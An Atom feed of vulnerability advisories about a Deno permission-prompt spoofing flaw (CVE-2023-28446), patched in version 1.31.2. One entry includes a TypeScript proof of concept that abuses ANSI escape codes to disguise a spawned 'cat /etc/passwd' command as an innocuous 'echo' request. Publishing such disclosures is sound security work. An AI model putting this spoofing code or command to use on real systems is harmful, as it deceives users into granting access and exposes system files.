<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-06T09:00:12.336478+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/bdu:2023-02046</id>
    <title>bdu:2023-02046</title>
    <updated>2026-10-06T09:00:12.341807+00:00</updated>
    <content>bdu:2023-02046</content>
    <link href="https://cve.radiocsirt.org/vuln/bdu:2023-02046"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/euvd-2026-218392</id>
    <title>EUVD-2026-218392</title>
    <updated>2026-10-06T09:00:12.341846+00:00</updated>
    <content>EUVD-2026-218392</content>
    <link href="https://cve.radiocsirt.org/vuln/euvd-2026-218392"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/fkie_cve-2023-28446</id>
    <title>fkie_cve-2023-28446</title>
    <updated>2026-10-06T09:00:12.341860+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>Deno is a simple, modern and secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust. Arbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a `op_spawn_child` or `op_kill` prompt and replace it with any desired text. This works with any command on the respective platform, giving the program the full ability to choose what program they wanted to run. This problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers). This issue has been patched in version 1.31.2.</p>
      </div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/fkie_cve-2023-28446"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-vq67-rp93-65qf</id>
    <title>GHSA-vq67-rp93-65qf — Interactive `run` permission prompt spoofing via improper ANSI neutralization</title>
    <updated>2026-10-06T09:00:12.341892+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> crates.io: deno_runtime, crates.io: deno</p>
<p>### Summary
Arbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a `op_spawn_child` or `op_kill` prompt and replace it with any desired text.</p>
<p>### Details</p>
<p>The main entry point comes down to the ability to override what the API control says ([40_process.js](https://github.com/denoland/deno/blob/7d13d65468c37022f003bb680dfbddd07ea72173/runtime/js/40_process.js#L175)). Because of ANSI code's ability to clear lines, a malicious program can clear the last 2 lines of the prompt and put their own header. This also works in `op_kill`.</p>
<p>### PoC</p>
<p>This PoC works on 1.31.1, but modified versions of it work on older versions.</p>
<p>Make a file, e.g. `index.ts`, that uses this vulnerability to spoof the `op_spawn_child` permission prompt</p>
<p>```ts
const boldANSI = "\u001b[1m" // bold
const unboldANSI = "\u001b[22m" // unbold</p>
<p>const prompt = `┌ ⚠️  ${boldANSI}Deno requests run access to "echo"${unboldANSI}
├ Requested by \`Deno.Command().output()`</p>
<p>const moveANSIUp = "\u001b[1A" // moves to the start of the line
const clearANSI = "\u001b[2K" // clears the line
const moveANSIStart = "\u001b[1000D" // moves to the start of the line</p>
<p>Deno[Object.getOwnPropertySymbols(Deno)[0]].core.ops.op_spawn_child({
    cmd: "cat",
    args: ["/etc/passwd"],
    clearEnv: false,
    env: [],
    stdin: "null",
    stdout: "inherit",
    stderr: "piped"
}, moveANSIUp + clearANSI + moveANSIStart + prompt)
```</p>
<p>Run the file with `deno run index.ts`.</p>
<p>### Impac…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-vq67-rp93-65qf"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/gsd-2023-28446</id>
    <title>gsd-2023-28446</title>
    <updated>2026-10-06T09:00:12.341951+00:00</updated>
    <content>gsd-2023-28446</content>
    <link href="https://cve.radiocsirt.org/vuln/gsd-2023-28446"/>
  </entry>
</feed>
